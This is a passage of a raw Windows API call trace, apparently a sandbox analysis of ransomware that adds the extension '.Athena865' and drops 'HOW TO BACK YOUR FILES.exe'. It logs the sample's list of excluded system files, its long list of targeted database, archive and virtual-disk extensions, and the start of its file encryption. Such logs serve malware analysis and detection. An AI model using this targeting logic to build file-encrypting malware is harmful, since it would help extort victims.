lpString2="\\" | out: lpString1="CqajU\\") returned="CqajU\\" [0051.311] lstrcatW (in: lpString1="CqajU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CqajU\\HOW TO BACK YOUR FILES.exe") returned="CqajU\\HOW TO BACK YOUR FILES.exe" [0051.311] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.318] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0051.318] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0051.318] lstrlenW (lpString="desktop.ini") returned 11 [0051.318] lstrcpyW (in: lpString1=0x241e8b2, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0051.318] lstrlenW (lpString="desktop.ini") returned 11 [0051.318] lstrlenW (lpString="Athena865") returned 9 [0051.318] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0051.318] lstrlenW (lpString=".dll") returned 4 [0051.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0051.319] lstrlenW (lpString=".lnk") returned 4 [0051.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0051.319] lstrlenW (lpString=".ini") returned 4 [0051.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0051.319] lstrlenW (lpString=".sys") returned 4 [0051.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0051.319] lstrlenW (lpString="desktop.ini") returned 11 [0051.319] lstrlenW (lpString="bak") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0051.319] lstrlenW (lpString="ba_") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0051.319] lstrlenW (lpString="dbb") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0051.319] lstrlenW (lpString="vmdk") returned 4 [0051.319] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0051.319] lstrlenW (lpString="rar") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0051.319] lstrlenW (lpString="zip") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0051.319] lstrlenW (lpString="tgz") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0051.319] lstrlenW (lpString="vbox") returned 4 [0051.319] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0051.319] lstrlenW (lpString="vdi") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0051.319] lstrlenW (lpString="vhd") returned 3 [0051.319] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0051.319] lstrlenW (lpString="vhdx") returned 4 [0051.319] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0051.319] lstrlenW (lpString="avhd") returned 4 [0051.319] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0051.319] lstrlenW (lpString="db") returned 2 [0051.320] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0051.320] lstrlenW (lpString="db2") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0051.320] lstrlenW (lpString="db3") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0051.320] lstrlenW (lpString="dbf") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0051.320] lstrlenW (lpString="mdf") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0051.320] lstrlenW (lpString="mdb") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0051.320] lstrlenW (lpString="sql") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0051.320] lstrlenW (lpString="sqlite") returned 6 [0051.320] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0051.320] lstrlenW (lpString="sqlite3") returned 7 [0051.320] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0051.320] lstrlenW (lpString="sqlitedb") returned 8 [0051.320] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0051.320] lstrlenW (lpString="xml") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0051.320] lstrlenW (lpString="$er") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0051.320] lstrlenW (lpString="4dd") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0051.320] lstrlenW (lpString="4dl") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0051.320] lstrlenW (lpString="^^^") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0051.320] lstrlenW (lpString="abs") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0051.320] lstrlenW (lpString="abx") returned 3 [0051.320] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0051.320] lstrlenW (lpString="accdb") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0051.321] lstrlenW (lpString="accdc") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0051.321] lstrlenW (lpString="accde") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0051.321] lstrlenW (lpString="accdr") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0051.321] lstrlenW (lpString="accdt") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0051.321] lstrlenW (lpString="accdw") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0051.321] lstrlenW (lpString="accft") returned 5 [0051.321] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0051.321] lstrlenW (lpString="adb") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0051.321] lstrlenW (lpString="adb") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0051.321] lstrlenW (lpString="ade") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0051.321] lstrlenW (lpString="adf") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0051.321] lstrlenW (lpString="adn") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0051.321] lstrlenW (lpString="adp") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0051.321] lstrlenW (lpString="alf") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0051.321] lstrlenW (lpString="ask") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0051.321] lstrlenW (lpString="btr") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0051.321] lstrlenW (lpString="cat") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0051.321] lstrlenW (lpString="cdb") returned 3 [0051.321] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0051.322] lstrlenW (lpString="ckp") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0051.322] lstrlenW (lpString="cma") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0051.322] lstrlenW (lpString="cpd") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0051.322] lstrlenW (lpString="dacpac") returned 6 [0051.322] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0051.322] lstrlenW (lpString="dad") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0051.322] lstrlenW (lpString="dadiagrams") returned 10 [0051.322] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0051.322] lstrlenW (lpString="daschema") returned 8 [0051.322] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0051.322] lstrlenW (lpString="db-journal") returned 10 [0051.322] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0051.322] lstrlenW (lpString="db-shm") returned 6 [0051.322] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0051.322] lstrlenW (lpString="db-wal") returned 6 [0051.322] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0051.322] lstrlenW (lpString="dbc") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0051.322] lstrlenW (lpString="dbs") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0051.322] lstrlenW (lpString="dbt") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0051.322] lstrlenW (lpString="dbv") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0051.322] lstrlenW (lpString="dbx") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0051.322] lstrlenW (lpString="dcb") returned 3 [0051.322] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0051.322] lstrlenW (lpString="dct") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0051.323] lstrlenW (lpString="dcx") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0051.323] lstrlenW (lpString="ddl") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0051.323] lstrlenW (lpString="dlis") returned 4 [0051.323] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0051.323] lstrlenW (lpString="dp1") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0051.323] lstrlenW (lpString="dqy") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0051.323] lstrlenW (lpString="dsk") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0051.323] lstrlenW (lpString="dsn") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0051.323] lstrlenW (lpString="dtsx") returned 4 [0051.323] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0051.323] lstrlenW (lpString="dxl") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0051.323] lstrlenW (lpString="eco") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0051.323] lstrlenW (lpString="ecx") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0051.323] lstrlenW (lpString="edb") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0051.323] lstrlenW (lpString="epim") returned 4 [0051.323] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0051.323] lstrlenW (lpString="fcd") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0051.323] lstrlenW (lpString="fdb") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0051.323] lstrlenW (lpString="fic") returned 3 [0051.323] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0051.323] lstrlenW (lpString="flexolibrary") returned 12 [0051.324] lstrlenW (lpString="fm5") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0051.324] lstrlenW (lpString="fmp") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0051.324] lstrlenW (lpString="fmp12") returned 5 [0051.324] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0051.324] lstrlenW (lpString="fmpsl") returned 5 [0051.324] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0051.324] lstrlenW (lpString="fol") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0051.324] lstrlenW (lpString="fp3") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0051.324] lstrlenW (lpString="fp4") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0051.324] lstrlenW (lpString="fp5") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0051.324] lstrlenW (lpString="fp7") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0051.324] lstrlenW (lpString="fpt") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0051.324] lstrlenW (lpString="frm") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0051.324] lstrlenW (lpString="gdb") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0051.324] lstrlenW (lpString="gdb") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0051.324] lstrlenW (lpString="grdb") returned 4 [0051.324] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0051.324] lstrlenW (lpString="gwi") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0051.324] lstrlenW (lpString="hdb") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0051.324] lstrlenW (lpString="his") returned 3 [0051.324] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0051.325] lstrlenW (lpString="ib") returned 2 [0051.325] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0051.325] lstrlenW (lpString="idb") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0051.325] lstrlenW (lpString="ihx") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0051.325] lstrlenW (lpString="itdb") returned 4 [0051.325] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0051.325] lstrlenW (lpString="itw") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0051.325] lstrlenW (lpString="jet") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0051.325] lstrlenW (lpString="jtx") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0051.325] lstrlenW (lpString="kdb") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0051.325] lstrlenW (lpString="kexi") returned 4 [0051.325] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0051.325] lstrlenW (lpString="kexic") returned 5 [0051.325] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0051.325] lstrlenW (lpString="kexis") returned 5 [0051.325] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0051.325] lstrlenW (lpString="lgc") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0051.325] lstrlenW (lpString="lwx") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0051.325] lstrlenW (lpString="maf") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0051.325] lstrlenW (lpString="maq") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0051.325] lstrlenW (lpString="mar") returned 3 [0051.325] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0051.325] lstrlenW (lpString="marshal") returned 7 [0051.325] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0051.326] lstrlenW (lpString="mas") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0051.326] lstrlenW (lpString="mav") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0051.326] lstrlenW (lpString="maw") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0051.326] lstrlenW (lpString="mdbhtml") returned 7 [0051.326] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0051.326] lstrlenW (lpString="mdn") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0051.326] lstrlenW (lpString="mdt") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0051.326] lstrlenW (lpString="mfd") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0051.326] lstrlenW (lpString="mpd") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0051.326] lstrlenW (lpString="mrg") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0051.326] lstrlenW (lpString="mud") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0051.326] lstrlenW (lpString="mwb") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0051.326] lstrlenW (lpString="myd") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0051.326] lstrlenW (lpString="ndf") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0051.326] lstrlenW (lpString="nnt") returned 3 [0051.326] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0051.326] lstrlenW (lpString="nrmlib") returned 6 [0051.326] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0051.326] lstrlenW (lpString="ns2") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0051.327] lstrlenW (lpString="ns3") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0051.327] lstrlenW (lpString="ns4") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0051.327] lstrlenW (lpString="nsf") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0051.327] lstrlenW (lpString="nv") returned 2 [0051.327] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0051.327] lstrlenW (lpString="nv2") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0051.327] lstrlenW (lpString="nwdb") returned 4 [0051.327] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0051.327] lstrlenW (lpString="nyf") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0051.327] lstrlenW (lpString="odb") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0051.327] lstrlenW (lpString="odb") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0051.327] lstrlenW (lpString="oqy") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0051.327] lstrlenW (lpString="ora") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0051.327] lstrlenW (lpString="orx") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0051.327] lstrlenW (lpString="owc") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0051.327] lstrlenW (lpString="p96") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0051.327] lstrlenW (lpString="p97") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0051.327] lstrlenW (lpString="pan") returned 3 [0051.327] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0051.327] lstrlenW (lpString="pdb") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0051.328] lstrlenW (lpString="pdm") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0051.328] lstrlenW (lpString="pnz") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0051.328] lstrlenW (lpString="qry") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0051.328] lstrlenW (lpString="qvd") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0051.328] lstrlenW (lpString="rbf") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0051.328] lstrlenW (lpString="rctd") returned 4 [0051.328] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0051.328] lstrlenW (lpString="rod") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0051.328] lstrlenW (lpString="rodx") returned 4 [0051.328] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0051.328] lstrlenW (lpString="rpd") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0051.328] lstrlenW (lpString="rsd") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0051.328] lstrlenW (lpString="sas7bdat") returned 8 [0051.328] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0051.328] lstrlenW (lpString="sbf") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0051.328] lstrlenW (lpString="scx") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0051.328] lstrlenW (lpString="sdb") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0051.328] lstrlenW (lpString="sdc") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0051.328] lstrlenW (lpString="sdf") returned 3 [0051.328] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0051.328] lstrlenW (lpString="sis") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0051.329] lstrlenW (lpString="spq") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0051.329] lstrlenW (lpString="te") returned 2 [0051.329] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0051.329] lstrlenW (lpString="teacher") returned 7 [0051.329] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0051.329] lstrlenW (lpString="tmd") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0051.329] lstrlenW (lpString="tps") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0051.329] lstrlenW (lpString="trc") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0051.329] lstrlenW (lpString="trc") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0051.329] lstrlenW (lpString="trm") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0051.329] lstrlenW (lpString="udb") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0051.329] lstrlenW (lpString="udl") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0051.329] lstrlenW (lpString="usr") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0051.329] lstrlenW (lpString="v12") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0051.329] lstrlenW (lpString="vis") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0051.329] lstrlenW (lpString="vpd") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0051.329] lstrlenW (lpString="vvv") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0051.329] lstrlenW (lpString="wdb") returned 3 [0051.329] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0051.329] lstrlenW (lpString="wmdb") returned 4 [0051.330] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0051.330] lstrlenW (lpString="wrk") returned 3 [0051.330] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0051.330] lstrlenW (lpString="xdb") returned 3 [0051.330] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0051.330] lstrlenW (lpString="xld") returned 3 [0051.330] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0051.330] lstrlenW (lpString="xmlff") returned 5 [0051.330] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0051.330] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.Athena865") returned 74 [0051.330] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0051.331] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0051.331] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=504) returned 1 [0051.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.332] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.332] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.332] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x17c [0051.333] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0051.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.334] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.334] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50bbf8 [0051.334] 